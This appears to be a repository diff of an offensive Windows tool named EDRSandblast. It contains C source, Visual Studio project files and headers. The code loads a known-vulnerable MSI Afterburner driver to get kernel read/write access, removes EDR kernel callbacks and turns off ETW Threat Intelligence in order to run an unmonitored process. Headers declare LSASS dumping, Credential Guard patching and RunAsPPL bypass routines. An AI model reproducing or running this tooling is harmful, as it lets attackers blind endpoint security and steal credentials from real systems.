_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
free(removedEDRDrivers);
return EXIT_FAILURE;
}
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
_tprintf(TEXT("\n\n"));
if (checkEDRDrivers->index != 0) {
_tprintf(TEXT("[!] All EDR drivers could not be removed from Kernel callbacks, exiting..."));
lpExitCode = EXIT_FAILURE;
}
free(checkEDRDrivers);
}
/*
* 2/3 : Starting "resursively" our process.
*/
// Re-executing the present binary, without any kernel callback nor ETWTI enabled.
_tprintf(TEXT("All EDR drivers were successfully removed from Kernel callbacks\nStarting a new unmonitored process ...\n"));
_tprintf(TEXT("\n\n"));
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
memset(&pi, 0, sizeof(pi));
// Pass the same argument, only add the "--dont-unload-driver" flag as the vulnerable driver will still be needed by the parent process.
TCHAR* currentCommandLine = GetCommandLine();
TCHAR* noRemoveFlag = _tcsdup(TEXT(" --dont-unload-driver"));
//TODO: fix length calculation. _tcslen returns the length that should be used, but error due to "no const".
const SIZE_T commandLineMaxLen = 32768;
TCHAR* commandLine = (TCHAR*)calloc(commandLineMaxLen, sizeof(TCHAR));
_tcsncat_s(commandLine, commandLineMaxLen, currentCommandLine, _tcslen(currentCommandLine));
_tcsncat_s(commandLine, commandLineMaxLen, noRemoveFlag, _tcslen(noRemoveFlag));
if (CreateProcess(argv[0], commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
else {
_tprintf(TEXT("[!] An error occured while trying to create a new process\n"));
lpExitCode = EXIT_FAILURE;
}
free(commandLine);
_tprintf(TEXT("\n\n"));
/*
* 3/3 : Restoring state after execution.
*/
// By default, restore the removed EDR kernel callbacks. restoreCallbacks set to FALSE if the no restore CLI flag is set.
if (restoreCallbacks == TRUE && removedEDRDrivers && removedEDRDrivers->index != 0) {
// Restores the EDR drivers.
_tprintf(TEXT("Restoring EDR driver(s) Kernel callbacks...\n"));
RestoreEDRCallbacks(removedEDRDrivers);
_tprintf(TEXT("\n\n"));
// Checks that the EDR drivers were indeed restored.
_tprintf(TEXT("Checking that all EDR driver(s) were successfully restored in Kernel callbacks...\n"));
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!checkEDRDrivers) {
_tprintf(TEXT("[!] Couldn't allocate memory to check if the EDR drivers were successfully restored in Kernel callbacks\n"));
}
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
if (removedEDRDrivers && checkEDRDrivers && removedEDRDrivers->index == checkEDRDrivers->index) {
_tprintf(TEXT("[+] All EDR drivers were successfully restored in Kernel callbacks\n"));
}
else {
_tprintf(TEXT("[!] All EDR drivers could not be restored, continuing...\n"));
lpExitCode = EXIT_FAILURE;
}
free(checkEDRDrivers);
_tprintf(TEXT("\n\n"));
}
// Renable the ETW Threat Intel provider.
// TODO : make this conditionnal, just as kernel callbacks restoring ?
if (ETWTIState) {
EnableETWThreatIntelProvider(verbose);
}
if (removedEDRDrivers) {
free(removedEDRDrivers);
}
}
}
// TODO : Fix Windows error 0x00000422 that happens on 1 on 2 restart after uninstall.
if (kernelMode && removeVulnDriver) {
Sleep(5000);
_tprintf(TEXT("[*] Uninstalling vulnerable MSI Afterburner driver...\n"));
status = UninstallVulnerableDriver();
if (status == FALSE) {
_tprintf(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver\n"));
_tprintf(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), gVulnDriverServiceName);
lpExitCode = EXIT_FAILURE;
}
else {
_tprintf(TEXT("[+] The vulnerable driver was successfully uninstalled!\n"));
}
}
return lpExitCode;
}
+195
View File
@@ -0,0 +1,195 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{7e3e2ece-d1eb-43c6-8c83-b52b7571954b}</ProjectGuid>
<RootNamespace>EDRSandblast</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level4</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level4</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level4</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<AdditionalIncludeDirectories>Includes/</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level4</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>Includes\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="EDRBypass\ETWThreatIntel.c" />
<ClCompile Include="EDRBypass\KernelCallbacks.c" />
<ClCompile Include="EDRSandblast.c" />
<ClCompile Include="LSASSProtectionBypass\CredGuard.c" />
<ClCompile Include="LSASSProtectionBypass\RunAsPPL.c" />
<ClCompile Include="Userland\PEBBrowse.c" />
<ClCompile Include="Userland\PEParser.c" />
<ClCompile Include="Userland\UserlandHooks.c" />
<ClCompile Include="Utils\DriverOps.c" />
<ClCompile Include="Utils\FileVersion.c" />
<ClCompile Include="Utils\KernelMemoryPrimitives.c" />
<ClCompile Include="Utils\KernelPatternSearch.c" />
<ClCompile Include="Utils\LSASSDump.c" />
<ClCompile Include="Utils\NtoskrnlOffsets.c" />
<ClCompile Include="Utils\WdigestOffsets.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="Includes\DriverOps.h" />
<ClInclude Include="EDRSandBlast.h" />
<ClInclude Include="Includes\ETWThreatIntel.h" />
<ClInclude Include="Includes\FileVersion.h" />
<ClInclude Include="Includes\Globals.h" />
<ClInclude Include="Includes\KernelCallbacks.h" />
<ClInclude Include="Includes\KernelMemoryPrimitives.h" />
<ClInclude Include="Includes\KernelPatternSearch.h" />
<ClInclude Include="Includes\LSASSDump.h" />
<ClInclude Include="Includes\NtoskrnlOffsets.h" />
<ClInclude Include="Includes\PEBBrowse.h" />
<ClInclude Include="Includes\PEParser.h" />
<ClInclude Include="Includes\Undoc.h" />
<ClInclude Include="Includes\Undoc_64.h" />
<ClInclude Include="Includes\UserlandHooks.h" />
<ClInclude Include="Includes\WdigestOffsets.h" />
<ClInclude Include="Includes\CredGuard.h" />
<ClInclude Include="Includes\RunAsPPL.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
+123
View File
@@ -0,0 +1,123 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
<Filter Include="Source Files\LSASSProtectionBypass">
<UniqueIdentifier>{54b0d87a-da5b-4c62-99f2-30e8848bbfda}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="EDRSandblast.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="EDRBypass\KernelCallbacks.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="LSASSProtectionBypass\CredGuard.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="LSASSProtectionBypass\RunAsPPL.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\KernelMemoryPrimitives.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\DriverOps.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\LSASSDump.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\FileVersion.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\KernelPatternSearch.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\NtoskrnlOffsets.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\WdigestOffsets.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="EDRBypass\ETWThreatIntel.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Userland\PEBBrowse.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Userland\PEParser.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Userland\UserlandHooks.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="Includes\CredGuard.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\RunAsPPL.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\KernelMemoryPrimitives.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="EDRSandBlast.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\DriverOps.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\LSASSDump.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\FileVersion.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\KernelPatternSearch.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\NtoskrnlOffsets.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\WdigestOffsets.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\KernelCallbacks.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\Globals.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\ETWThreatIntel.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\PEBBrowse.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\PEParser.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\Undoc.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\Undoc_64.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\UserlandHooks.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
+12
View File
@@ -0,0 +1,12 @@
#pragma once
#include <Windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <tlhelp32.h>
#include "Globals.h"
#include "WdigestOffsets.h"
DWORD WINAPI disableCredGuardByPatchingLSASS(void);
+26
View File
@@ -0,0 +1,26 @@
/*
--- Driver install / uninstall functions.
--- Source and credit: https://github.com/gentilkiwi/mimikatz
*/
#pragma once
#include <Windows.h>
#include <aclapi.h>
#include <Tchar.h>
#include <stdio.h>
#include "Globals.h"
#if !defined(PRINT_ERROR_AUTO)
#define PRINT_ERROR_AUTO(func) (_tprintf(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError()))
#endif
#define MAX_UNINSTALL_ATTEMPTS 3
#define OP_SLEEP_TIME 1000
BOOL InstallVulnerableDriver(TCHAR* driverPath);
BOOL UninstallVulnerableDriver();
+29
View File
@@ -0,0 +1,29 @@
/*
--- ETW Threat Intelligence operations.
--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
*/
#pragma once
#include <Windows.h>
#include <Tchar.h>
#include <stdio.h>
#include "Globals.h"
#include "KernelMemoryPrimitives.h"
#include "NtoskrnlOffsets.h"
#define DISABLE_PROVIDER 0x0
#define ENABLE_PROVIDER 0x1
DWORD64 GetEtwThreatIntProvRegHandleAddress();
DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose);
void DisableETWThreatIntelProvider(BOOL verbose);
void EnableETWThreatIntelProvider(BOOL verbose);
BOOL isETWThreatIntelProviderEnabled(BOOL verbose);
+11
View File
@@ -0,0 +1,11 @@
#pragma once
#include <Windows.h>
#include <Tchar.h>
#include <stdio.h>
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename);
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion);
void GetWdigestVersion(TCHAR* wdigestVersion);
+3
View File
@@ -0,0 +1,3 @@
#pragma once
const TCHAR *gVulnDriverServiceName;
+89
View File
@@ -0,0 +1,89 @@
/*
--- Kernel callbacks operations.
--- Inspiration and credit: https://github.com/br-sn/CheekyBlinder
*/
#pragma once
#include <Windows.h>
#include <Tchar.h>
#include <stdio.h>
#include "Globals.h"
#include "DriverOps.h"
#include "KernelMemoryPrimitives.h"
#include "NtoskrnlOffsets.h"
/*
* PspCreateProcessNotifyRoutine / PspCreateThreadNotifyRoutine max: 64 callbacks
* PspLoadImageNotifyRoutine max: 8 callbacks
* Source: https://blog.gentilkiwi.com/retro-ingenierie/windbg-notifications-kernel
*/
#define PSP_MAX_CALLBACKS 0x40
struct KRNL_CALLBACK {
TCHAR const* driver;
DWORD64 callback_addr;
DWORD64 callback_struct;
DWORD64 callback_func;
BOOL removed;
};
struct FOUND_EDR_CALLBACKS {
DWORD64 index;
struct KRNL_CALLBACK EDR_CALLBACKS[256];
};
TCHAR const* EDR_DRIVERS[];
BOOL isDriverEDR(TCHAR* driver);
void RestoreEDRCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
/*
------ Process (PspCreateProcessNotifyRoutine) callbacks.
*/
DWORD64 GetPspCreateProcessNotifyRoutineAddress(void);
void EnumPspCreateProcessNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
void RemoveEDRProcessNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
/*
------ Thread (PspCreateThreadNotifyRoutine) callbacks.
*/
DWORD64 GetPspCreateThreadNotifyRoutineAddress(void);
void EnumPspCreateThreadNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
void RemoveEDRThreadNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
/*
------ Image loading (PspLoadImageNotifyRoutine) callbacks.
*/
DWORD64 GetPspLoadImageNotifyRoutineAddress(void);
void EnumPspLoadImageNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
/*
------ All EDR Kernel callbacks enumeration / removal.
*/
void EnumAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
void RemoveAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
@@ -0,0 +1,73 @@
/*
--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
*/
#pragma once
#include <Windows.h>
#include <Psapi.h>
#include <Tchar.h>
#include <stdio.h>
#include "Globals.h"
struct RTCORE64_MSR_READ {
DWORD Register;
DWORD ValueHigh;
DWORD ValueLow;
};
struct RTCORE64_MEMORY_READ {
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
struct RTCORE64_MEMORY_WRITE {
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address);
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address);
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address);
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address);
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value);
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value);
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value);
/*
--- Kernel exploitation helpers.
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
*/
DWORD64 FindNtoskrnlBaseAddress(void);
TCHAR* FindDriver(DWORD64 address, BOOL verbose);
HANDLE GetDriverHandle();
DWORD64 GetFunctionAddress(LPCSTR function);
@@ -0,0 +1,24 @@
/*
--- ntoskrnl Notify Routines' offsets search functions using patterns.
--- Ultimately not used because too unreliable and too prone to BSoD.
*/
#pragma once
#include <Windows.h>
#include <Tchar.h>
#include <stdio.h>
#include "KernelMemoryPrimitives.h"
DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask);
DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset);
DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void);
DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void);
DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void);
+15
View File
@@ -0,0 +1,15 @@
/*
--- LSASS dump functions.
*/
#pragma once
#include <Windows.h>
#include <Dbghelp.h>
#include <Tchar.h>
#include <stdio.h>
#include <tlhelp32.h>
DWORD WINAPI dumpLSASSProcess(void* data);
+53
View File
@@ -0,0 +1,53 @@
/*
--- ntoskrnl Notify Routines' offsets from CSV functions.
--- Hardcoded patterns, with offsets for 350+ ntoskrnl versions provided in the CSV file.
*/
#pragma once
#include <Windows.h>
#include <Tchar.h>
#include "Globals.h"
#include "FileVersion.h"
enum NtoskrnlOffsetType {
CREATE_PROCESS_ROUTINE = 0,
CREATE_THREAD_ROUTINE = 1,
LOAD_IMAGE_ROUTINE = 2,
PROTECTION_LEVEL = 3,
ETW_THREAT_INT_PROV_REG_HANDLE = 4,
ETW_REG_ENTRY_GUIDENTRY = 5,
ETW_GUID_ENTRY_PROVIDERENABLEINFO = 6,
_SUPPORTED_NTOSKRNL_OFFSETS_END
};
union NtoskrnlOffsets {
// structure version of ntoskrnl.exe's offsets
struct {
// ntoskrnl's PspCreateProcessNotifyRoutine
DWORD64 pspCreateProcessNotifyRoutine;
// ntoskrnl's PspCreateThreadNotifyRoutine
DWORD64 pspCreateThreadNotifyRoutine;
// ntoskrnl's PspLoadImageNotifyRoutine
DWORD64 pspLoadImageNotifyRoutine;
// ntoskrnl EPROCESS's _PS_PROTECTION
DWORD64 ps_protection;
// ntoskrnl ETW Threat Intelligence's EtwThreatIntProvRegHandle
DWORD64 etwThreatIntProvRegHandle;
// ntoskrnl _ETW_REG_ENTRY's GuidEntry
DWORD64 etwRegEntry_GuidEntry;
// ntoskrnl _ETW_GUID_ENTRY's ProviderEnableInfo
DWORD64 etwGuidEntry_ProviderEnableInfo;
} st;
// array version (usefull for code factoring)
DWORD64 ar[_SUPPORTED_NTOSKRNL_OFFSETS_END];
};
union NtoskrnlOffsets ntoskrnlOffsets;
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename);
+14
View File
@@ -0,0 +1,14 @@
#pragma once
#include "Undoc.h"
LDR_DATA_TABLE_ENTRY* getModuleEntryFromAbsoluteAddr(PVOID addr);
LDR_DATA_TABLE_ENTRY* getModuleEntryFromNameW(const WCHAR* name);
LDR_DATA_TABLE_ENTRY* getNextModuleEntryInLoadOrder(LDR_DATA_TABLE_ENTRY* curr);
#if _WIN64
PEB64* getPEB();
TEB64* getTEB();
#else
PEB* getPEB(void);
TEB* getTEB(void);
#endif
+50
View File
@@ -0,0 +1,50 @@
#pragma once
#include <Windows.h>
typedef unsigned __int64 QWORD;
typedef struct _IMAGE_RELOCATION_ENTRY {
WORD Offset : 12;
WORD Type : 4;
} IMAGE_RELOCATION_ENTRY;
typedef struct PE_relocation_t {
DWORD RVA;
WORD Type : 4;
} PE_relocation;
typedef struct PE_pointers {
BOOL isMemoryMapped;
BOOL isInAnotherAddressSpace;
HANDLE hProcess;
PVOID baseAddress;
//headers ptrs
IMAGE_DOS_HEADER* dosHeader;
IMAGE_NT_HEADERS* ntHeader;
IMAGE_OPTIONAL_HEADER* optHeader;
IMAGE_DATA_DIRECTORY* dataDir;
IMAGE_SECTION_HEADER* sectionHeaders;
//export info
IMAGE_EXPORT_DIRECTORY* exportDirectory;
LPDWORD exportedNames;
DWORD exportedNamesLength;
LPDWORD exportedFunctions;
LPWORD exportedOrdinals;
//relocations info
DWORD nbRelocations;
PE_relocation* relocations;
} PE;
PE* PE_create(PVOID imageBase, BOOL isMemoryMapped);
PE* PE_create_from_another_address_space(HANDLE hProcess, PVOID imageBase);
PVOID PE_RVA_to_Addr(PE* pe, DWORD rva);
DWORD PE_Addr_to_RVA(PE* pe, PVOID addr);
IMAGE_SECTION_HEADER* PE_sectionHeader_fromRVA(PE* pe, DWORD rva);
IMAGE_SECTION_HEADER* PE_nextSectionHeader_fromPermissions(PE* pe, IMAGE_SECTION_HEADER* prev, INT8 readable, INT8 writable, INT8 executable);
DWORD PE_functionRVA(PE* pe, LPCSTR functionName);
PVOID PE_functionAddr(PE* pe, LPCSTR functionName);
VOID PE_parseRelocations(PE* pe);
VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress);
